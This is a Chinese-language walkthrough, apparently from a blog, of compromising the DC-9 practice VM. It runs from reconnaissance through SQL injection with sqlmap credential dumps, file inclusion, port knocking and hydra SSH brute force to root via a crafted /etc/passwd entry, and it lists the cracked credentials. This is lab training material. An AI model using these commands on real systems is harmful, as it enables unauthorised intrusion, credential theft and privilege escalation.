DC9靶机渗透全流程

starme / 2024-10-19 / 原文

DC-9 √

192.168.40.169

参考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596

1.nmap

nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535

image-20230801223642759

image-20230801223748255

照样还是22/ssh服务,80/http服务

2.dirsearch扫目录

dirsearch -u 192.168.40.169 -e * -x 403 --random-agent

image-20230801224630470

3.wappalyzer

image-20230817153709349

发现并没有用CMS

4.SQL注入

到处点击,寻找输入框:在Search模块可找到

image-20230801224845279

而且点击Submit后,发现页面有跳转的情况.抓包看情况:

image-20230801225207032

万能密码验证SQL注入:

1' or 1=1#

image-20230801225325678

sqlmap这里使用:

# sqlmap之POST型传参 : information_schema,Staff,users
# 根据上图的HTTP请求报文,得出:
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs

image-20230801230350731

# 爆表
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables

image-20230802000924686

# 列:firstname,id,lastname,password,reg_date,username
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns

image-20230802001033866

# Staff数据库
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# users数据库
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

注意:

1.payload中的数据库名、表名、字段名都不要用引号包围

2.注意区分大小写

Staff库

image-20230802001616305

admin/transorbital1

users库

image-20230802220006868

5.文件包含

登录后发现:

image-20230802002002853

可能是文件包含漏洞,尝试:发现存在文件包含漏洞

image-20230802002545600

其实应该像DC-5一样需要爆破参数名,这里就省去了,直接猜测参数名为file

尝试包含Apache的日志文件:/var/log/apache2/access.log

image-20230802213009956

6.knockd敲门与关门

再结合前面nmap扫描时22端口的状态是filter,猜测可能是服务器装了knockd

关于knockd:

image-20230802213325657

查看knocked的配置文件:knockd.conf

http://192.168.40.169/welcome.php?file=../../../../../etc/knockd.conf

image-20230802213550741

解析:

image-20230802213610031

image-20230802213716117

即使用iptables命令来允许或禁止通过TCP端口22(即SSH端口)的连接

接下来就要打开22端口:

这里参考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596

#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
nmap -A 192.168.40.169 -p 22

敲门并查看22端口是否打开:

image-20230802214847047

7.hydra爆破SSH账号密码

端口开启后就可以尝试SSH连接:

结合第4步的结果:

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
3kfs86sfd
468sfdfsd2
sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

另:chatGPT写了一个转化脚本:https://wwwg.lanzouk.com/iaUz41485nwj

image-20230802221623628

效果:

image-20230802221700730

分别写入到users.txt和passwd.txt之中,

# 使用hydra爆破:
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh

image-20230802223119645

三组数据:

chandlerb / UrAG0D!

joeyt / Passw0rd

janitor / Ilovepeepee

这里采用第一组数据

ssh chandlerb@192.168.40.169

image-20230802223700948

但是没找到有用信息

尝试第二组数据:依旧没有有用信息

image-20230802224148661

尝试第三组数据:

image-20230802224234496

cat passwords-found-on-post-it-notes.txt

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

在第4步爆出的账号中匹配到了三个,分别是

image-20230802224954143

BamBam01
Passw0rd
smellycats

结合这个与hydra爆出的数据,选择joeyt 用户进行提权

find / -perm -u=s -type f 2>/dev/null

image-20230802225618142

一眼望去,没有提权点

再看WP,得知要把passwords-found-on-post-it-notes.txt中的数据补充到passwd.txt中,然后再次hydra爆破:

image-20230802230810686

爆出了一组新的账号密码

fredf / B4-Tru3-001

ssh fredf@192.168.40.169
sudo -l

image-20230802231023834

NOPASSWD: /opt/devstuff/dist/test/test

cd /opt/devstuff/dist/test

发现了大量.so文件:

image-20230802231456277

.so是Linux下的动态链接,类似于Windows下的.dll文件

查看其他目录:

image-20230802231640517

在/opt/devstuff目录下发现了test.py和test.spec文件

.spec文件:

可以是指由被叫的rpmbuild程序中使用的文本文件。这个程序是用来建立RPM包。 RPM代表Red Hat软件包管理。这些软件包用于安装Linux程序。该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包。

#!/usr/bin/python
# 该文件根据给定的命令行参数读取一个文件,并将其内容附加到另一个文件的末尾
# 本文件中的第一个参数sys.argv[0]代表程序本身,第二个参数sys.argv[1]代表第一个文件,第三个参数sys.argv[2]代表另一个文件
import sys

if len (sys.argv) != 3 : # 保证命令行参数的数量为3
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r") # 以只读模式打开第二个命令行参数指定的文件
    output = (f.read()) # 将内容读取到变量output中

    f = open(sys.argv[2], "a") # 以追加模式打开第三个命令行参数指定的文件
    f.write(output) # 进行追加
    f.close()

大体思路就是写一个root权限账号出来,通过该脚本,追加到/etc/passwd之中

怎么写账号密码?

Linux是怎么生成密码的?

通过openshell生成密码,通过md5加密

perl -le 'print crypt("666","salt")'  # 将字符串"666"使用盐"salt"进行加密

得到:sat087sUBmRKY

image-20230802233357401

据此,构造出账户:

echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd

passwd的格式:

[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]

sudo ./test /tmp/passwd /etc/passwd

image-20230802234242620

image-20230802234326958

8.小结

# DC-9
# nmap 
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535
# 目录扫描-dirsearch
dirsearch -u 192.168.40.169 -e * -x 403 --random-agent
# wappalyzer
没有明显的CMS
# POST型SQL注入
查询框+页面跳转->bp抓包
万能密码 1' or 1=1# 验证出SQL注入
# 数据库users
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
# 另一个数据库-Staff 
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# 注意点: 1.名称不用引号包围 2.注意大小写

# 文件包含
File does not exit ->猜测参数为file,通过/etc/passwd验证出文件包含漏洞

# knockd-filter状态
/etc/knockd.conf
# 敲门
#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
# 查看
nmap -A 192.168.40.169 -p 22

# hydra爆破:实现数据库账号密码->SSH账号密码
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh
# 登录后查到隐藏的密码,增添后再次爆破->获得真正的能够提权的用户
sudo -l

# 结合可执行文件(用于追加数据)+/etc/passwd提权
perl -le 'print crypt("666","salt")'
echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd
sudo ./test /tmp/passwd /etc/passwd